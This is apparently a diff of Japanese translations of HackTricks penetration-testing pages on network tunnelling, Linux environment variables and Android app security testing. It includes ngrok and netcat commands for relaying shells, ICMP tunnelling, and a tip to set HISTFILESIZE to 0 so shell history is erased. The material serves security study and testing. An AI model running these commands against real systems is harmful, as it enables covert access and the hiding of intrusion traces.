Proxychainsは`gethostbyname` libc呼び出しを傍受し、tcp DNSリクエストをソックスプロキシを介してトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**ハードコードされています。変更するには、ファイルを編集します_/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**の場合は、**ドメインコントローラー**のIPを設定できます。 Proxychainsは`gethostbyname` libc呼び出しを傍受し、tcp DNSリクエストをソックスプロキシを介してトンネリングします。**デフォルト**では、proxychainsが使用するDNSサーバーは**4.2.2.2**ハードコードされています。変更するには、ファイルを編集します_/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**の場合は、**ドメインコントローラー**のIPを設定できます。
## Goでのトンネル ## Goでのトンネル
@ -430,7 +460,7 @@ Proxychainsは`gethostbyname` libc呼び出しを傍受し、tcp DNSリクエス
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
両方のシステムでルート権限が必要で、ICMPエコーリクエストを使用してトンアダプタを作成し、それらの間でデータをトンネリングするために必要です。 両方のシステムでルート権限が必要で、tunアダプタを作成し、ICMPエコーリクエストを使用してそれらの間でデータをトンネリングするために必要です。
```bash ```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v ./hans -f -c <server_ip> -p P@ssw0rd -v
@ -481,14 +511,14 @@ chmod a+x ./ngrok
# Listen (example): nc -nvlp 4444 # Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
``` ```
#### HTTPを使用してファイルを公開する #### HTTPを使用してファイルを公開
```bash ```bash
./ngrok http file:///tmp/httpbin/ ./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
``` ```
#### HTTPコールのスニッフィング #### HTTPコールのスニッフィング
*XSS、SSRF、SSTIなどに便利...* *XSS、SSRF、SSTIなどに役立ちます...*
標準出力から直接またはHTTPインターフェース[http://127.0.0.1:4040](http://127.0.0.1:4000)で。 標準出力から直接またはHTTPインターフェース[http://127.0.0.1:4040](http://127.0.0.1:4000)で。
#### 内部HTTPサービスのトンネリング #### 内部HTTPサービスのトンネリング
@ -502,7 +532,7 @@ chmod a+x ./ngrok
3つのトンネルを開きます 3つのトンネルを開きます
- 2つはTCP - 2つはTCP
- 1つは/tmp/httpbin/から静的ファイルを公開するHTTP - 1つは/tmp/httpbin/からの静的ファイル公開を持つHTTP
```yaml ```yaml
tunnels: tunnels:
mytcp: mytcp:
@ -522,7 +552,7 @@ addr: file:///tmp/httpbin/
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -530,12 +560,12 @@ addr: file:///tmp/httpbin/
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong>!</strong></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または**最新版のPEASSにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう私たちの独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れま * [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。 * **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -6,17 +6,17 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。** - **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -31,7 +31,7 @@ HackTricksをサポートする他の方法
export MYGLOBAL="hello world" export MYGLOBAL="hello world"
echo $MYGLOBAL #Prints: hello world echo $MYGLOBAL #Prints: hello world
``` ```
この変数は、現在のセッションその子プロセスからアクセスできます。 この変数は、現在のセッションおよびその子プロセスからアクセスできます。
次のようにして変数を**削除**できます: 次のようにして変数を**削除**できます:
```bash ```bash
@ -70,8 +70,8 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
* **PS1** bash のデフォルトプロンプト。 * **PS1** bash のデフォルトプロンプト。
* **PATH** 実行したいバイナリファイルを保持するすべてのディレクトリのパス。ファイル名を指定するだけで相対パスや絶対パスを使用せずに実行できます。 * **PATH** 実行したいバイナリファイルを保持するすべてのディレクトリのパス。ファイル名を指定するだけで相対パスや絶対パスを使用せずに実行できます。
* **PWD** 現在の作業ディレクトリ。 * **PWD** 現在の作業ディレクトリ。
* **SHELL** 現在のコマンドシェルへのパス (例: **/bin/bash**) * **SHELL** 現在のコマンドシェルへのパス(例: **/bin/bash**
* **TERM** 現在の端末タイプ (例: **xterm**) * **TERM** 現在の端末タイプ(例: **xterm**
* **TZ** 自分のタイムゾーン。 * **TZ** 自分のタイムゾーン。
* **USER** 現在のユーザー名。 * **USER** 現在のユーザー名。
@ -79,7 +79,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
### **HISTFILESIZE** ### **HISTFILESIZE**
この変数の **値を 0 に変更** してください。これにより、セッションを **終了** するときに **履歴ファイル** (\~/.bash\_history) **が削除** されます。 この変数の **値を 0 に変更**してください。これにより、セッションを **終了** するときに **履歴ファイル**\~/.bash\_history**削除** されます。
```bash ```bash
export HISTFILESIZE=0 export HISTFILESIZE=0
``` ```
@ -96,7 +96,7 @@ export HISTSIZE=0
export http_proxy="http://10.10.10.10:8080" export http_proxy="http://10.10.10.10:8080"
export https_proxy="http://10.10.10.10:8080" export https_proxy="http://10.10.10.10:8080"
``` ```
### SSL\_CERT\_FILE & SSL\_CERT\_DIR ### SSL_CERT_FILE & SSL_CERT_DIR
プロセスは、**これらの環境変数**で指定された証明書を信頼します。 プロセスは、**これらの環境変数**で指定された証明書を信頼します。
```bash ```bash
@ -127,7 +127,7 @@ Root:
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -138,9 +138,9 @@ Root:
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ - [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手す
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。 - **Discordグループ**に参加する💬](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 - **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
@ -21,11 +21,11 @@ HackTricksをサポートする他の方法
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける
**最新の発表**\ **最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新についての情報を入手す 最新のバグバウンティの開始や重要なプラットフォームの更新について
**[Discord](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力しましょう!** **[Discord](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力しましょう!**
@ -40,13 +40,13 @@ Androidセキュリティに関連する**最も重要な部分**やAndroidア
## ADBAndroid Debug Bridge ## ADBAndroid Debug Bridge
これはAndroidデバイスエミュレートされたものまたは物理的なものに接続するために必要な主要ツールです。\ これはAndroidデバイスエミュレートされたものまたは物理的なものに接続するために必要な主要ツールです。\
**ADB**は、コンピューターからデバイスを**USB**または**ネットワーク**経由で制御することができます。このユーティリティは、ファイルの**コピー**、アプリの**インストール****アンインストール**、シェルコマンドの**実行**、データの**バックアップ**、ログの**読み取り**などを可能にします。 **ADB**は、コンピューターからデバイスを**USB**または**ネットワーク**経由で制御することができます。このユーティリティは、ファイルの**コピー**、アプリの**インストール**および**アンインストール**、シェルコマンドの**実行**、データの**バックアップ**、ログの**読み取り**などを可能にします。
ADBの使用方法を学ぶために、次の[**ADBコマンド**](adb-commands.md)のリストを参照してください。 ADBの使用方法を学ぶために、次の[**ADBコマンド**](adb-commands.md)のリストを参照してください。
## Smali ## Smali
時には、**アプリケーションコードを変更**して**隠された情報**にアクセスすることが興味深いことがあります(おそらくよく難読化されたパスワードやフラグ。その後、APKを逆コンパイルしてコードを変更し、再コンパイルすることが興味深いかもしれません。\ 時には、**アプリケーションコードを変更**して**隠された情報**にアクセスすることが興味深いことがあります(おそらくよくされたパスワードやフラグ。その後、APKを逆コンパイルしてコードを変更し、再コンパイルすることが興味深いかもしれません。\
[**このチュートリアル**では、APKを逆コンパイルし、Smaliコードを変更し、新しい機能を追加してAPKを再コンパイルする方法](smali-changes.md)を学ぶことができます。これは、**動的解析中にいくつかのテストの代替手段として非常に役立つ**かもしれません。そのため、**常にこの可能性を念頭に置いておいてください**。 [**このチュートリアル**では、APKを逆コンパイルし、Smaliコードを変更し、新しい機能を追加してAPKを再コンパイルする方法](smali-changes.md)を学ぶことができます。これは、**動的解析中にいくつかのテストの代替手段として非常に役立つ**かもしれません。そのため、**常にこの可能性を念頭に置いておいてください**。
## その他の興味深いトリック ## その他の興味深いトリック
@ -66,15 +66,15 @@ adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
## 静的解析 ## 静的解析
まず、APKを解析するためには、デコンパイラを使用してJavaコードを確認する必要があります。\ まず、APKを解析するためには、デコンパイラを使用してJavaコードを確認する必要があります。\
[**こちらを読んで、利用可能な異なるデコンパイラに関する情報を見つけてください**](apk-decompilers.md)。 [異なる利用可能なデコンパイラに関する情報はこちらを参照してください。](apk-decompilers.md)
### 興味深い情報を探す ### 興味深い情報を探す
APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**などの興味深い情報を検索できます。コード実行の**バックドア**や認証バックドア(アプリにハードコードされた管理者資格情報)を探すこともできます。 APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**などの興味深い情報を検索できます。コード実行の**バックドア**や認証バックドア(アプリにハードコードされた管理者資格情報)を探すことも重要です。
**Firebase** **Firebase**
**Firebase URL**に特に注意し、それが適切に構成されているかどうかを確認してください。[Firebaseについての詳細情報とその悪用方法についてはこちらを参照してください。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) **Firebase URL**に特に注意し、構成が適切かどうかを確認してください。[Firebaseについての詳細情報とその悪用方法についてはこちらを参照してください。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### アプリケーションの基本的な理解 - Manifest.xml、strings.xml ### アプリケーションの基本的な理解 - Manifest.xml、strings.xml
@ -82,11 +82,11 @@ APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キ
**Manifest.xml**から特定される**脆弱性**には次のものがあります: **Manifest.xml**から特定される**脆弱性**には次のものがあります:
* **デバッグ可能なアプリケーション**_Manifest.xml_ファイルでデバッグ可能に設定されたアプリケーション`debuggable="true"`)は、悪用につながる接続を許可するため、リスクをもたらします。デバッグ可能なアプリケーションの検出および悪用方法については、デバイス上でデバッグ可能なアプリケーションを見つけて悪用するチュートリアルを参照してください。 * **デバッグ可能なアプリケーション**_Manifest.xml_ファイルでデバッグ可能に設定されたアプリケーション`debuggable="true"`)は、悪用につながる接続を許可するため、リスクをもたらします。デバッグ可能なアプリケーションの検出と悪用方法についての詳細は、デバイス上のデバッグ可能なアプリケーションを見つけて悪用するチュートリアルを参照してください。
* **バックアップ設定**:機密情報を扱うアプリケーションでは、`android:allowBackup="false"`属性を明示的に設定して、USBデバッグが有効になっている場合にadb経由での未承認のデータバックアップを防止する必要があります。 * **バックアップ設定**:機密情報を扱うアプリケーションでは、`android:allowBackup="false"`属性を明示的に設定して、USBデバッグが有効になっている場合にadb経由での未承認のデータバックアップを防止する必要があります。
* **ネットワークセキュリティ**_res/xml/_内のカスタムネットワークセキュリティ構成`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインのHTTPトラフィックを許可する例があります。 * **ネットワークセキュリティ**_res/xml/_内のカスタムネットワークセキュリティ構成`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインのHTTPトラフィックを許可する例があります。
* **エクスポートされたアクティビティとサービス**:マニフェストでエクスポートされたアクティビティとサービスを特定すると、誤用される可能性のあるコンポーネントが明らかになります。動的テスト中のさらなる分析により、これらのコンポーネントをどのように悪用するかが明らかになります。 * **エクスポートされたアクティビティとサービス**:マニフェストでエクスポートされたアクティビティとサービスを特定すると、誤用される可能性のあるコンポーネントが明らかになります。動的テスト中のさらなる分析により、これらのコンポーネントをどのように悪用するかが明らかになります。
* **コンテンツプロバイダとFileProviders**:公開されたコンテンツプロバイダは、データへの未承認アクセスや変更を許可する可能性があります。FileProvidersの構成も検討されるべきです。 * **コンテンツプロバイダとFileProviders**公開されたコンテンツプロバイダは、データへの未承認アクセスや変更を許可する可能性があります。FileProvidersの構成も検討されるべきです。
* **ブロードキャストレシーバーとURLスキーム**これらのコンポーネントは悪用される可能性があり、URLスキームの管理方法に特に注意を払う必要があります。 * **ブロードキャストレシーバーとURLスキーム**これらのコンポーネントは悪用される可能性があり、URLスキームの管理方法に特に注意を払う必要があります。
* **SDKバージョン**`minSdkVersion`、`targetSDKVersion`、`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。 * **SDKバージョン**`minSdkVersion`、`targetSDKVersion`、`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。
@ -94,8 +94,7 @@ APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キ
### タップジャッキング ### タップジャッキング
**タップジャッキング**は、**悪意のあるアプリケーション**が**被害者アプリケーションの上に配置**され、被害者アプリケーションを視覚的に隠した後、ユーザーがそれとやり取りするように設計されたユーザーインターフェースでユーザーをだまして、実際には被害者アプリケーションで操作を行っていることを知らせない攻撃です。\ **タップジャッキング**は、**悪意のあるアプリケーション**が起動し、**被害者アプリケーションの上に配置**される攻撃です。被害者アプリを視覚的に隠し、ユーザーがそれとやり取りしているように見せかけ、実際には被害者アプリで操作を行っていることをユーザーに気づかせないように設計されたユーザーインターフェースを持っています。
実際には、ユーザーが自分が実際のアプリを使用していると思い込んで**悪意のあるアプリケーションとやり取りしていることをユーザーに気づかせない**ようにしています。
詳細は以下で確認できます: 詳細は以下で確認できます:
@ -105,7 +104,7 @@ APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キ
### タスクハイジャッキング ### タスクハイジャッキング
`launchMode`が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャッキングの脆弱性があります。つまり、**アプリケーション**がインストールされ、実際のアプリケーションよりも先に起動された場合、実際のアプリケーションのタスクを**ハイジャック**できます(ユーザーは実際のアプリを使用していると思い込んで**悪意のあるアプリケーションとやり取り**していることになります)。 `launchMode`が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャッキングの脆弱性があります。つまり、インストールされた**アプリケーション**が実際のアプリケーションよりも先に起動された場合、実際のアプリケーションのタスクを**ハイジャック**できる可能性があります(ユーザーは実際のアプリケーションを使用していると思い込んで、実際には**悪意のあるアプリケーション**とやり取りしていることになります)。
詳細は以下で確認できます: 詳細は以下で確認できます:
@ -117,37 +116,37 @@ APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キ
**内部ストレージ** **内部ストレージ**
Androidでは、内部ストレージに保存されたファイルは、作成した**アプリケーション**だけが**アクセス**できるように**設計**されています。このセキュリティ対策はAndroidオペレーティングシステムによって強制されており、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。ただし、開発者は時々、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`などのモードを利用して、ファイルを異なるアプリケーション間で**共有**することがあります。しかし、これらのモードは他のアプリケーション(悪意のあるものを含む)によるこれらのファイルへのアクセスを制限しません。 Androidでは、内部ストレージに保存されたファイルは、作成した**アプリケーション**のみが**アクセスできるように設計**されています。このセキュリティ対策はAndroidオペレーティングシステムによって強制されており、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。ただし、開発者は時々、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`などのモードを利用して、異なるアプリケーション間でファイルを共有することがあります。しかし、これらのモードは他のアプリケーション(悪意のあるものを含む)によるこれらのファイルへのアクセスを制限しません。
1. **静的解析:** 1. **静的解析:**
* `MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`の使用が**注意深く検討**されていることを**確認**してください。これらのモードは、ファイルを**意図しないアクセス**にさらす可能性があります。 * `MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`の使用が**注意深く検討**されていることを**確認**してください。これらのモードは、ファイルを**意図しないアクセス**や**権限なしのアクセス**にさらす可能性があります。
2. **動的解析:** 2. **動的解析:**
* アプリケーションによって作成されたファイルに設定された**権限**を**確認**してください。特に、ファイルが**世界中で読み取りまたは書き込み可能**に設定されているかどうかを確認してください。これは、デバイスにインストールされている**どのアプリケーション**でも、その起源や意図に関係なく、これらのファイルを**読み取ったり変更**したりできる可能性があるため、重大なセキュリティリスクを引き起こす可能性があります。 * アプリケーションによって作成されたファイルに設定された**権限**を確認してください。特に、ファイルが**世界中で読み取りまたは書き込み可能**に設定されているかどうかを**確認**してください。これは、デバイスにインストールされている**どのアプリケーション**でも、その起源や意図に関係なく、これらのファイルを**読み取ったり変更**したりできる可能性があるため、重大なセキュリティリスクを引き起こす可能性があります。
**外部ストレージ** **外部ストレージ**
SDカードなどの**外部ストレージ**上のファイルを扱う場合、特定の注意が必要です: SDカードなどの**外部ストレージ**上のファイルを扱う場合は、次の注意点があります:
1. **アクセシビリティ** 1. **アクセシビリティ**
* 外部ストレージ上のファイルは**グローバルに読み取りおよび書き込み可能**です。つまり、どのアプリケーションやユーザーでもこれらのファイルにアクセスできます。 * 外部ストレージ上のファイルは**グローバルに読み取りおよび書き込み可能**です。つまり、どのアプリケーションやユーザーでもこれらのファイルにアクセスできます。
2. **セキュリティ上の懸念** 2. **セキュリティ上の懸念**
* アクセスが容易であるため、外部ストレージに**機密情報を保存しない**ことが推奨されています。 * アクセスが容易であるため、外部ストレージに**機密情報を保存しない**ことが推奨されています。
* 外部ストレージは取り外し可能であり、どのアプリケーションからもアクセスできるため、セキュリティが低くなります。 * 外部ストレージは取り外し可能であり、どのアプリケーションもアクセスできるため、セキュリティが低くなります。
3. **外部ストレージからのデータの取り扱い** 3. **外部ストレージからのデータの取り扱い**
* 外部ストレージから取得したデータには**入力検証**を常に行ってください。これは、データが信頼できないソースから取得されているため、重要です。 * 外部ストレージから取得したデータには**入力検証を常に実行**してください。これは、データが信頼できないソースから取得されているため、重要です。
* 外部ストレージに実行可能ファイルやクラスファイルを保存して動的に読み込むことは強く推奨されません。 * 外部ストレージから実行可能ファイルやクラスファイルを取得して動的に読み込むことは強く推奨されません。
* アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合は、これらのファイルが**署名され、暗号的に検証**されることを確認してから動的に読み込むようにしてください。この手順は、アプリケーションのセキュリティの整合性を維持するために重要です。 * アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合は、これらのファイルが**署名され、暗号的に検証**されることを確認してから動的に読み込んでください。この手順は、アプリケーションのセキュリティの整合性を維持するために重要です。
外部ストレージは`/storage/emulated/0`、`/sdcard`、`/mnt/sdcard`で**アクセス**できます。 外部ストレージは`/storage/emulated/0`、`/sdcard`、`/mnt/sdcard`で**アクセス**できます。
{% hint style="info" %} {% hint style="info" %}
Android 4.4**API 17**以降、SDカードには、アプリケーションからそのアプリケーション専用のディレクトリにアクセスを**制限**するディレクトリ構造があります。これにより、悪意のあるアプリケーションが他のアプリケーションのファイルを読み取ったり書き込んだりすることが防止されます。 Android 4.4**API 17**以降、SDカードにはアプリケーションが特定のディレクトリにアクセスできるように制限されたディレクトリ構造があります。これにより、悪意のあるアプリケーションが他のアプリケーションのファイルを読み取ったり書き込んだりすることが防止されます。
{% endhint %} {% endhint %}
**クリアテキストで保存された機密データ** **クリアテキストで保存された機密データ**
* **共有プリファレンス**Androidは、各アプリケーションが簡単にxmlファイルを`/data/data/<packagename>/shared_prefs/`に保存できるようにし、そのフォルダーにクリアテキストで機密情報を見つけることができる場合があります。 * **共有プリファレンス**Androidは、各アプリケーションが簡単にxmlファイルを`/data/data/<packagename>/shared_prefs/`に保存できるようにします。このフォルダーにクリアテキストで機密情報を見つけることができる場合があります。
* **データベース**Androidは、各アプリケーションが簡単にsqliteデータベースを`/data/data/<packagename>/databases/`に保存できるようにし、そのフォルダーにクリアテキストで機密情報を見つけることができる場合があります。 * **データベース**Androidは、各アプリケーションが簡単にsqliteデータベースを`/data/data/<packagename>/databases/`に保存できるようにします。このフォルダーにクリアテキストで機密情報を見つけることができる場合があります。
### 破損したTLS ### 破損したTLS
@ -166,15 +165,15 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
**安全でないおよび/または非推奨のアルゴリズムの使用** **安全でないおよび/または非推奨のアルゴリズムの使用**
